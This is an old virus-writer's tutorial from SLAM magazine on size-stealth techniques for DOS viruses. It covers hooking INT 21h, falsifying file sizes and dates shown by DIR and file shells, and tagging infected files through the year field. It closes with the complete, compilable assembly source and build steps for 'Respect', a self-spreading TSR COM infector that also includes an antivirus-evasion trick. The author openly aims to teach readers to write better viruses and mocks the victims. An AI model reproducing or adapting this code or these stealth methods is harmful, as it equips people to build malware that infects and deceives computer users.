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┌──────────────────────────────────────────┐ │ Simple Tutorial to Stealth Virii │ │ Part #1 - Size Stealth │ │ by Virtual Daemon │ └──────────────────────────────────────────┘ Well, here's another lame tutorial written by me... ;-)) I wrote this shit in december 1996, but since SLAM#3 is out I've re-aranged it a little, and here it is... The reason why I'm writting all this tutorials, is because I want to make other people learn this stuff, learn how to create better virii. These tutorials should provide enough informations for people who don't know this stuff already... Anyway, I'm gonna make more tutorials as soon as I'm learning something new. Every new step I'll make in virii development will be followed by a tutorial. During 1 year and a half, I've written several tutorials... A big part of them will be presented in future releases of SLAM Magazine. I hope that I'll make some new tutorials this year, bcoz I've learned a lot since then, and I think that would be good if I'll share my knowdlege with others! p.s. Hey lamers! Watch out! This tutorials are for smart people who want and like to learn how to create virii, not for U! Go play with your d*ck in the ground, and leave this phile now!!! The virus included in this phile is made for research only... Anyway, it's kind of old an kind of lame, so I guess you can do whatever you want with it! "WHATEVER" doesn't mean that you just take the virus, put your name in it, and distribute it saying that it's yours! ;) That makes you a big fuckin lamer! And I hate lamers (shit, who doesn't? ;)))! But let's get back to the show... :-P Some of U are wondering what a stealth virus is. Well, a stealth virus is a virus who can practicaly hide in your system. Many viruses have included this feature during the years, some better, some not... So, a stealth virus can't be seen so easily... it can hide from your memory, from your files even from your MBR/boot! In a word it can be "almost" invisible! In this tutorial I will talk more about the size stealth, and less about other methods. At the end of the tutorial I've included a virus made by me (it's pretty old) called "Respect"! ;) The virus traps INT 21h and will infect COM files on 4bh(=execute). The stealth function are implemented for 11h/12h (FCB), 4eh/4fh (DTA) and 5700h (get file time/date). What is size stealth? Well, size stealth is a method wich can hide your true filesize. This way, if a virus of 356 bytes infected a file of 22334 bytes, the infected file size will be 22334+356=22690, right? Well, the size stealth method will practicaly "cut" the last 356 bytes (size of virus), so the infected file will have only 22334 bytes, just like the beginning. Conclusion: the file was infected but the size is still the same. How's that possible? Well, there are two steps (A and B ;)... The DOS operating system has 2 methods for searching files: one via FCB (11h/12h) and the other with file handles (4eh/4fh). A) The 1st step is to hide the file size for (sub)programs like DIR. DIR uses the 11h/12h DOS function (FCB) althought almost all the other programs from DOS 2+ are using the file handles method. So, we have to hide our file from both, FCB and file handles. B) Well, here goes the 2nd step: to hide your virus from programs that search files via file handles method (programs like Norton Commander, or other shity shells)... Got it? Ok. So, all we have to do is to make a TSR virus with handler on INT 21h, who can trap the 4bh (for infection), 11h, 12h, 4eh,4fh (for size stealth) and 5700h (for hiding the modified date/time) DOS functions. When INT 21h is called by DOS, the function requested will be first intercepted by our handler, right? We compare the function which is executed with 11h,12h,4eh or 4fh functions, and if equal, we're gonna try to cut the size of the file... Now, all we have to do to make it stealth (to cut it) is to get the file size, then to substract the size of our virus, and then to put it back (the size of the file) in memory... Simple, ha'? ;) But there's a little problem... How can we know if the file is infected with our virus? We can't just "cut" all the COM (or EXE) files that are being searched with one of the above functions (11h,12h,4eh,4fh)... ;( Well, we just have to "mark" our file in some way! We can check if the 4th byte or something is equal to xx (our value) and then we'll cut it. Good ideea, BUT too much code for this shit, don't U think? And of course the system will go too slow! We'll have to open the file, then read, then compare, and then close it back. No, this is not a good ideea! There are a very small number of virii who are checking with this method, and that bcoz their authors don't care too much about the virus size, or about their speed. There's another method for doing this. We'll mark our file in another way. We'll *fuck* (read "modify" ;) the years number!!! :) When U're trying to view a file's date, U'll probably get something like this: 05-27-96! Well, 05 is the month, 27 the day of the month and (19)96 the year, right? What do U think it will happen if we'll just add 100 to number of years? The year will be 2096, but U will still see the date like 05-27-96!!! Of course, there are some programs who can display the whole year, and this is the reason why we're gonna intercept the get file date/time DOS function (AX=5700h)! So, we'll have to check if some program tryes to find out the date/time of our infected file. If we wouldn't check for this, then maybe the respective program will find our date (which will be 2096 if the original file year was 1996)... The user will see that his file has an invalid date so he will guess that maybe he has a virus! That's why, in our INT 21h handler, we must check for 5700h (DOS Function=get file date/time). If the 5700h function is requested by a program, our handler will trap the request first. What we have to do is a little check if the specified file is infected with our virus, and if so, we'll substract 100 years, and we'll put the new value in memory. This way, the user will see that his file was created/last modified in 1996! So, the user will turn into a big fucking lamer and he will think that everything is OK, and that he has no virus! Well, I guess this is our sacred duty.... TO FUCK LAMERS! ;)))) Another way for marking the file is to modify the seconds number. We'll choose a number, and in every file that gets infected will just gonna modify the original file's seconds with our value. It's obvious why we can't modify the hours/minutes/day/month! That can be seen almost by anyone! Anyway, U can do it if U really want to... Nobody will stop ya'! Well, nobody except the AVers...:) So we have two ways: the century method and the seconds method... But first, let's see how our INT 21h handler is gonna look: my_int21_handler: ... ;here we're gonna check if the virus has alredy been ; infected... or other stuff ;) cmp ah,4bh ;is the file being executed or loaded? jne next ; nnneeeeaahhhhh... ;( Too bad! jmp infect ; Great, we'll try to infect it! next: cmp ah,11h ;\ je FCB_stealth ; \ cmp ah,12h ; \ je FCB_stealth ; \ Here we check if it's a search function, cmp ah,4eh ; / and if so, will try to "stealth" the file je DTA_stealth ; / cmp ah,4fh ; / je DTA_stealth ;/ cmp ax,5700h ;anyone likes to see the file's date/time? ;) je time_stealth ;in the Respect virus, the time_stealth procedure ; was too far from the INT 21h handler, so this ; jump was replaced by "jne exithandler ; jmp time_stealth" ; P.S. I told U this bcoz I don't wanna see ya confused or anything! ;-) exithandler: db 0eah ;exit from our handler and return to original INT 21h oldint21 dd ? ;variable which contains the old INT 21h segment/offset In the Respect virus, I added 100 years to original year of the file... So, I'm using the century method to check if the file is already infected. The seconds method is practically the same with the century method... All you have to do is to modify some basic instructions. Here's an example for seting the seconds number to 60: a) for marking: ----------- mov ax,5701h ;set file date/time mov cx,file_time ;get original file time mov dx,file_date ;get original file date or cl,1eh ;set the seconds number to 60 int 21h b) for checking: ------------ ;get timestamp in ax and al,1eh ;test if infected (1eh=30) cmp al,1eh ;check if al=30 (number of seconds div 2) jnz error ;if not equal then don't stealth ;here comes the stealth part Ok. Now that you've got all this crap, I'm gonna try to explain the theory of the size stealth method. I wont give ya' any examples bcoz the stealth procedures from the Respect virus are very well commented (I think! ;-)... We'll begin with the FCB method... What U have to do first is to fake a DOS call, bcoz you don't have anything to stealth right now. If no errors have encountered you must get the PSP (Program Segment Prefix) from memory. You can do that in 2 ways: one with 51h and the other with 62h. Both this functions will return in es:bx the current PSP. Then you must check if the PSP is ok (if it's the DIR command who's calling not ChkDsk or other shit). Next you have to get the DTA's adress with the DOS function 2fh. It will return the address of the start of the current DTA in es:bx. After this, you must check if the FCB is extended or not. The difference between the "normal" FCB and the extended FCB is that the 2nd one has some extra bytes more then the normal FCB (there are some DOS reserved areas in that bytes). So, to access the bytes that we want we must skip some bytes if the FCB is extended. Actually, we must skip about 7 bytes. I will make a little paranthese here to tell ya' the structure of FCB (file control block) and the structure of extended FCB. Normal FCB: Offset Size Description ------ ---- ------------ 00h 1 Drive id (00=actual, 01=A:, 02=B:, 03=C: etc.) 01h 8 File name.Space filled if less than 8 characters 09h 3 File extension 0Ch 2 Current block number 0Eh 2 Logical record size (bytes) 10h 4 File size in bytes 14h 2 Date (last modified) 16h 2 Time (last modified) 18h 4 DOS Reserved area ■1Ch 4 Same as 10h (this is what you see on your screen) 20h 1 Offset from actual register 21h 4 Relative record ■=offset modified by our virus Extended FCB: looks almost the same as normal FCB, except there are 7 bytes added to the beginning (before offset 00h) Offset Size Description ------ ---- ----------- -07h 1 always FFh. This flag indicate that this is extended FCB -06h 5 Reserved by DOS -01h 1 File attribute +00h 25h Normal FCB Well, I hope you understand what's going on..;) Anwyay, all the "heavy" job is done. What's left to be done, is to get in ax the datestamp (or timestamp) then to check if you have infected the file, and then to substract the size of your virus from the file's size (that can be done by modifying offset 1ch where the file size is stored). Of course, before this, you can check if the filesize isn't too small. Got it till now? If you don't get it right now, don't worry... just read the phile again and then see how the Respect virus is made, and you WILL get it! ;) This stuff should not take you much then 15 minutes (maximum) to understand it! Ok. Now, let me explain the file handles stealth method (DTA_stealth)... The DTA stealth method is practically the same with the FCB method, just a little simpler... Again, you must begin with a fake int 21h call. The errors can be checked with a simple "jc" (jump if CF=1), bcoz the 4eh/4fh DOS functions automaticaly sets up the carry flag on error. After this... the same old story: get the DTA, then the date/time stamp, do some checkin and then stealth the file! Hmmm... Think that's all... I don't know what else I could say about the size stealth method. Anyway, the Respect virus is here, and the stealth functions are well commented (I think), so U shouldn't have any problems with it! Oh yeah... I forgot something! Respect is a TSR COM virus. If you wanna make an TSR stealth that will infect EXE files you must stealth the high word too! Here's an example: sbb word ptr es:[bx+1fh],0 ;insert this in the FCB_stealth procedure sbb word ptr es:[bx+1ch],0 ;insert this in the DTA_stealth procedure Remember: this is a stealth tutorial, not a tutorial on how to make TSR virii!!! If you don't know how to make a TSR virus, then I guess you wont understand much from this tutorial... P.S. In the next issue I'll try to explain the Full Stealth method (infection/desinfection) or the memory stealth method or the MBR/BS method! Dunno which of those right now, but I'll certanly do one of it! It's pretty easy to do it, and I guess there are some guys who would like to know that! Well, enjoy reading the virus! Peace! ;) ----- cut here ----- ; Virus Name: Respect ; Virus Author: Virtual Daemon ; Group: SLAM ; Virus Type: TSR stealth COM infector ; Virus Size: 624 bytes ; Virus created on 14 January 1997 (dunno what time but I think it was ; morning... maybe at 3-4 am... ;))) ; ; Comments: -infection on 4bh (=execute) ; -stealth on 11h/12h (FCB) and 4eh/4fh (DTA) ; -intercept 5700h for more "stealthness" ;))) ; -INT 24h handler (for errors) ; -restore original file date/time/attributes ; -no payload, no encryption... :( just for learning basic stealth! ; To compile use: TASM respect.asm ; TLINK respect.obj ; EXE2BIN respect.exe respect.com ; DEL respect.exe \ ; DEL respect.obj => delete un-necessary files ; DEL respect.map / .model tiny .code org 0 begin: call start start: pop bp sub bp,offset start push ds push es mov ax,'=-' ;check if the virus is already installed int 21h cmp cx,'-=' je complete mov ah,4ah ;get largest block available mov bx,0ffffh int 21h sub bx,(endheap-begin+15)/16+1 ;substract from it our virus mov ah,4ah int 21h jc complete sub word ptr ds:[2],(endheap-begin+15)/16+1 mov ah,48h ;allocate memory for the virus mov bx,(endheap-begin+15)/16 int 21h jc complete mov es,ax dec ax mov ds,ax mov byte ptr ds:[0],'Z' ;mark the MCB mov ax,8 ;F-Prot will no longer detect a new Chill mov word ptr ds:[1],ax ;variant.... push cs pop ds xor di,di mov cx,(heap-begin)/2+1 mov si,bp rep movsw ;load the virus in memory xor ax,ax mov ds,ax push ds lds ax,ds:[21h*4] ;save old INT 21h interrupt vector mov word ptr es:oldint21,ax mov word ptr es:oldint21+2,ds pop ds mov word ptr ds:[21h*4],offset int21 ;set our INT 21h handler mov ds:[21h*4+2],es complete: pop es pop ds lea si,[bp+offset jmpbuf] ;restore saved bytes mov di,100h push di movsw movsb retn ;return to host jmpbuf db 0cdh,20h,0 ; our INT 24h handler int24: mov al,3h ;don't display errors iret ; the INT 21h handler int21: cmp ax,'=-' jne continue mov cx,'-=' iret continue: cmp ah,4bh jne next jmp infect next: cmp ah,11h je FCB_stealth cmp ah,12h je FCB_stealth cmp ah,4eh je DTA_stealth cmp ah,4fh je DTA_stealth cmp ax,5700h jne exithandler jmp time_stealth exithandler: db 0eah oldint21 dd ? ; The FCB stealth method = hides infected file(s) from DIR FCB_stealth: pushf push cs call exithandler ;fake a int 21h call ;on return ds:dx will point to unopened FCB or al,0 ;check if the dir call was sucessfull... ;al=0 => no errors jnz skip_dir ;if error then return to original 11h/12h push ax bx es ;save ax,bx and es registers mov ah,51h ;DOS function=get current PSP to es:bx int 21h mov es,bx cmp bx,es:[16h] ;is the PSP ok? we must check if it's a DIR jnz error ; call and not other programs mov bx,dx ;get offset to unopened FCB in bx mov al,[bx] ;al holds current drive push ax ;extended FCB=FFh mov ah,2fh ;DOS function=get DTA area in es:bx int 21h pop ax ;restore ax (can be 0 or FFh) inc al ;if the FCB is extended then FFh+1=0 ;if not then 0 + 1 = 1 <> 0 jnz no_ext ;not EXTENDED? Proceed then... ;) add bx,7 ;if EXTENDED then bx:=bx+7 ;EXTENDED FCB's have some extra bytes so we ; must skip those bytes no_ext: cmp word ptr es:[bx+1fh],0 ;is > 65k? jnz error ;guess so... ;( gotta go then! mov ax,es:[bx+19h] ;get datestamp in ax cmp ah,100 ;if ah is greater then 100 then the file ; is infected with our virus jb error ;if not then get out of here! ror ah,1 ;rotate to right sub ah,100 ;years=years-100 => the original file's year rol ah,1 ;rotate to left mov es:[bx+19h],ax ;restore the original year in memory sub word ptr es:[bx+1dh],(heap-begin) ;substract our virus size error: pop es bx ax ;restore registers es, bx and ax skip_dir: retf 2 ;return far ; The file handle stealth method = hides infected file(s) from progs like NC DTA_stealth: pushf push cs call exithandler ;fake a int 21h call jc no_files ;the 4eh/4fh functions automaticaly ; set up the carry flag on error pushf ;push the flags bcox they will be destroyed ; by the int call push ax di es bx ;save ax,di,es and bx registers mov ah,2fh ;DOS function=get DTA area in es:bx int 21h mov ax,es:[bx+18h] ;get datestamp cmp ah,100 ;check if above 100 jb not_inf ;if not return cmp word ptr es:[bx+1ah],(heap-begin) ;check if the file is too small ja hide ;if not too small go and stealth it cmp word ptr es:[bx+1Ch],0 ;check if too large je not_inf hide: ror ah,1 sub ah,100 ;get the original file's year back rol ah,1 mov es:[bx+18h],ax ;put the original year in memory sub word ptr es:[bx+1ah],(heap-begin) ; hide file size not_inf: pop bx es di ax ;restore bx,es,di and ax registers popf ;restore flags no_files: retf 2 ;return far ; The time stealth method = hides infected file(s)'s time/date from being seen time_stealth: pushf call dword ptr cs:[oldint21] ;fake a int 21h call jc shit ;if error then return cmp dh,100 ;check if years > 100 jb no_way ;if not then return ror dh,1 ;\ sub dh,100 ; "adjust" the file's year :-) rol dh,1 ;/ no_way: iret ;return shit: retf 2 ;return far infect: pushf push ax bx cx dx si di bp ds es push ds push dx mov ax,3524h ;get old INT 24h handler int 21h mov word ptr cs:[old_int24],bx mov word ptr cs:[old_int24+2],es push cs pop ds lea dx,int24 ;set our INT 24h handler mov ax,2524h int 21h pop dx pop ds mov ax,4300h ;get file attributes int 21h push ds push dx push cx mov ax,4301h ;set new attributes (archive only) xor cx,cx int 21h mov ax,3d02h ;open the file for reading and writting pushf push cs call exithandler xchg ax,bx mov ax,5700h ;get file's date/time pushf call dword ptr cs:[oldint21] mov word ptr cs:[file_time],cx mov word ptr cs:[file_date],dx push cs pop ds push cs pop es mov ah,3fh ;read from file the first 3 bytes lea dx,buffer ;save them into our buffer mov cx,3 int 21h mov ax,4202h ;go to EOF xor cx,cx cwd int 21h mov word ptr file_size,ax mov word ptr file_size+2,dx cmp word ptr buffer,'MZ' ;check if EXE je close_file cmp word ptr buffer,'ZM' je close_file mov ax,word ptr file_size ;check if too big cmp ax,65535-(endheap-begin) ja close_file mov cx,word ptr buffer+1 ;check if already infected add cx,heap-begin+3 cmp ax,cx je close_file mov di,offset jmpbuf ;prepare new JMP mov si,offset buffer movsb movsw mov byte ptr [offset buffer],0e9h sub ax,3 mov word ptr [offset buffer+1],ax mov ah,40h ;write the virus to file lea dx,begin mov cx,heap-begin int 21h mov ax,4200h ;go to BOF xor cx,cx cwd int 21h mov ah,40h ;write the new JMP lea dx,buffer mov cx,3 int 21h mov ax,5701h ;set old file's time/date mov cx,word ptr cs:[file_time] mov dx,word ptr cs:[file_date] ror dh,1 ;mark the file for steath add dh,100 rol dh,1 int 21h close_file: mov ah,3eh ;close the file int 21h mov ax,4301h ;set old attributes pop cx pop dx pop ds int 21h mov ds,word ptr cs:[old_int24+2] mov dx,word ptr cs:[old_int24] mov ax,2524h ;set old INT 24h handler int 21h exit: pop es ds bp di si dx cx bx ax popf jmp exithandler old_int24 dd ? virus_name db 'Respect' signature db '[VD/SLAM]' heap: file_size dd ? file_time dw ? file_date dw ? buffer db 3 dup (?) endheap: end begin ----- cut here ----- Tools used: Turbo Assembler 3.2, Turbo Linker 5.1, Tech Help 4.0a + a text editor... :) You can reach me via e-mail at: virtual_daemon@hotmail.com